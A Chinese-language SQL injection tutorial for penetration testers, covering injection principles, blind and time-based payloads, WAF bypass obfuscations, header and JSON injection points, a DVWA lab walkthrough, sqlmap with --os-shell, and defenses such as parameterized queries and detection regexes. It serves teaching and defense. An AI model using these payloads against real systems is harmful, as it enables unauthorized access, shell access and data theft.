1. 项目概述
SQL注入作为Web安全领域的"常青树"漏洞,至今仍是渗透测试中最有效的突破口之一。去年某知名漏洞赏金平台数据显示,SQL注入类漏洞占比高达31%,单笔最高奖金达到5万美元。但很多新手安全研究员常陷入两个极端:要么只会用自动化工具扫描,遇到WAF就束手无策;要么死记硬背Payload却不懂原理,在复杂场景中难以变通。
这个系列教程将从计算机组成原理层面拆解SQL注入的本质,结合我五年来在金融、电商行业渗透测试中积累的18种实战场景,演示如何绕过各类防护措施。不同于市面上泛泛而谈的教程,我们将用Golang编写一个带缺陷的Web应用作为靶场,通过源码级调试观察数据库执行过程,真正理解从用户输入到SQL语句组装的完整链条。
2. SQL注入核心原理拆解
2.1 数据库查询的本质
当我们在网页登录框输入用户名密码时,应用后台实际上在拼接这样的语句:
sql复制SELECT * FROM users WHERE username='admin' AND password='123456'
问题出在字符串拼接过程。如果密码框输入' OR 1=1 -- ,最终查询变为:
sql复制SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 -- '
这里--是SQL注释符,使得后续条件失效,而OR 1=1永远为真,导致绕过认证。
2.2 漏洞产生的深层原因
- 类型系统缺陷:SQL将数据和指令都视为字符串处理
- 语句构造方式:拼接用户输入时未做边界隔离
- 权限设计问题:应用数据库账号通常具有过高权限
关键理解:SQL注入本质是"数据"被错误解释为"代码",类似把快递单信息错误识别为运输指令导致物流系统混乱
3. 全场景挖掘方法论
3.1 基础检测手法
3.1.1 布尔型检测
输入' AND 1=1 -- 与' AND 1=2 -- 观察页面差异:
- 正常商品页:
/product?id=1 - 测试Payload:
/product?id=1' AND 1=1 -- - 逻辑真时显示正常,逻辑假时无数据,说明存在注入
3.1.2 时间盲注
当页面无明显变化时,使用延时函数:
sql复制'; IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0) --
通过响应时间判断MySQL版本是否为5.x系列
3.2 高级绕过技术
3.2.1 WAF绕过技巧
- 注释混淆:
sql复制SEL/*xxx*/ECT user FR/*vvv*/OM admins
- 等价函数替换:
sql复制CONCAT('adm','in') 代替 'admin'
- 空白符变异:
sql复制SELECT%09user%0DFROM%0Aadmins
3.2.2 二次注入实战
即使前端做了过滤,仍可能通过存储再调用触发:
- 注册用户名:
admin' -- - 修改密码时执行:
sql复制UPDATE users SET password='newpass' WHERE username='admin' -- '
3.3 非常规注入点挖掘
-
HTTP头注入:
- X-Forwarded-For
- User-Agent
- Referer
-
文件路径注入:
sql复制LOAD DATA INFILE '/etc/passwd' INTO TABLE temp -
JSON/XML参数:
json复制{"id":"1' UNION SELECT 1,2,3 -- "}
4. 靶场实战演示
4.1 环境搭建
用Docker快速部署漏洞环境:
bash复制docker run -d -p 8080:80 vulnerables/web-dvwa
4.2 手工注入全流程
- 确定注入点:
/news.php?id=1' - 判断列数:
1' ORDER BY 5-- - 联合查询:
-1' UNION SELECT 1,2,3,4-- - 提取数据:
-1' UNION SELECT 1,user(),3,database()--
4.3 Sqlmap高级用法
保存请求为txt文件后:
bash复制sqlmap -r request.txt --level=5 --risk=3 --batch --os-shell
5. 防御体系构建
5.1 代码层防护
- 参数化查询(Java示例):
java复制String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
- 存储过程:
sql复制CREATE PROCEDURE GetUser(IN uid INT)
BEGIN
SELECT * FROM users WHERE id = uid;
END
5.2 架构层防护
- 最小权限原则:应用账号只赋予SELECT必要表的权限
- Web应用防火墙:ModSecurity核心规则:
apache复制SecRule ARGS "@detectSQLi" "id:942360,deny"
5.3 运维监控
- SQL日志审计正则:
regex复制(union.*select|select.*from|(?:drop|alter|truncate).*table)
- 异常请求监控指标:
- 单IP高频500错误
- 非常规参数包含SQL关键词
6. 实战经验总结
- 闭合技巧:遇到报错先尝试
'、"、)等闭合符号 - 信息收集顺序:
- 数据库类型 → 版本 → 当前用户 → 表结构
- 工具配合:
- BurpSuite抓包 → Sqlmap自动化 → 手工验证
某次金融系统测试中,我们发现登录框有严格过滤,但通过修改密码页面的旧密码参数成功注入。关键Payload:
sql复制oldpass=' OR (SELECT COUNT(*) FROM sysobjects)>0 --
这个案例说明永远要测试所有参数入口